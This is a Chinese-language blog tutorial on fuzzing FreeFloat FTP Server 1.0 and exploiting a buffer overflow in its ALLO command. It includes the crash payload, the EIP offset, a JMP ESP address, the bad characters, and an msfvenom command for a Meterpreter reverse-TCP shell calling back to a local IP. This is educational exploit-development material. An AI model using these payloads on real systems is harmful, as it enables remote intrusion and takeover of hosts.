Fuzzing FreeFloatFTPserver1.0与漏洞利用

Fuzzing FreeFloatFTPserver1.0与漏洞利用

目录

☛ 1.漏洞介绍

  • 软件名称:FreeFloatFTPserver1.0
  • 漏洞介绍:多个FTP通信指令存在远程溢出漏洞
  • 关于FTP协议:每一个FTP指令发送之后,FTP服务器都会返回一个字符串,其中包括一个返回代码和一串说明信息
  • 常用FTP指令:由于FTP协议的固定性,所以我们可以对FTP服务器模拟发送FTP命令进行模糊测试,从而挖掘一些漏洞

☛ 2.模糊测试,测试溢出

1.使用15PB-FTP-Fuzzer模糊测试

  • 通过更改Fuzzing粒度Fuzzing速度测试模式等,在使用一些配置如下图时,造成溢出
  • Fuzz溢出截图
  • 测试得到的poc:poc = "ALLO" + 'x41'*302

☛ 3.模糊测试,寻找返回EIP位置

1.生成poc长度的唯一字符串组成的字符串,使用 Kali 中的工具

/>cd /usr/share/metasploit-framework/tools/exploit
/>./pattern_create.rb -l 302 #生成字符串长度

2.修改 py 脚本测试

  • OD附加调试
  • 运行攻击脚本

    />python 02.py

☛ 4.模糊测试,测试EIP

1.测试EIP位置步骤

  • 转换EIP中的字符:EIP = 0x41326941 -> Ai2A

  • 使用pattern_offset.rb求字符串所在偏移

    />./pattern_offset.rb -q Ai2A

  • 在偏移246处

  • 运行 py 脚本确认溢出点
    payload = "x41"*246 + "x42"*4 + "x41"*(302-246-4)

☛ 5.模糊测试,寻找payload启动地址

1.测试前面 246 字节 payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1" + "\x42"*4 + "\x41"*(302-246-4)
2.测试 ESP 指向的空间 payload = "\x41"*246 + "\x42"*4 + "\x43"*500
3.测试 ESP 指向空间的大小 payload = "\x41"*246 + "\x42"*4 + "\x43"*8 + "\x44"*500

  • "x44"*500 即为 ESP 指向的空间

☛ 6.寻找跳板指令并测试(使用系统为 xp sp3)

1.使用ImmunityDebugger寻找跳板指令JMP ESP

/>!mona modules
/>!mona find -s "xffxe4" -m OLEACC.dll

  • 0x7d7d77d0 => xd0X77X7dX7d 2.运行 05.py

☛ 7.测试获取坏字符

1.构造0xFF~0x00字符串,测试坏字符,再构造Shellcode时避免这些字符串,防止截断

  • Dadchar:\x0D\x0A\x00

☛ 8.使用 metaspliot 生成 Shellcode 完成利用

1.工具:msfvenom
常用参数:

-p :指定 payload 类型
LHOST :指定IP地址(kaliIP地址)
LPORT :指定端口(4444)
-f :指定生成 shellcode 类型
-o :指定输出文件路径
-b :指定坏字符(生成时避免产生坏字符)
-l :查看参数对应支持的具体数据

2.生成 Shellcode 命令:

/>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=4444 -b "x00x0dx0a" -f python

3.将生成的 shellcode 放到07.py

☛ 9.漏洞利用

1.先打开msfconsole 然后运行 07.py

2.漏洞利用效果

☛ 10.总结

  • 模糊测试一种非常好的漏洞挖掘的方法,但这种方法的有效性在于对协议要了解,本节分析 的 FTP 服务器涉及的 FPT 协议相对有规律,所以模糊测试成功不错。 Metasploit 中的 payload 非常丰富,是漏洞利用过程中不可或缺的利器

☛ 完成时间:2018-10-26 15:02:46 星期五

<wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">





原文地址:https://www.cnblogs.com/Get-Me/p/072e0130105decb8b2b43e40409d7744.html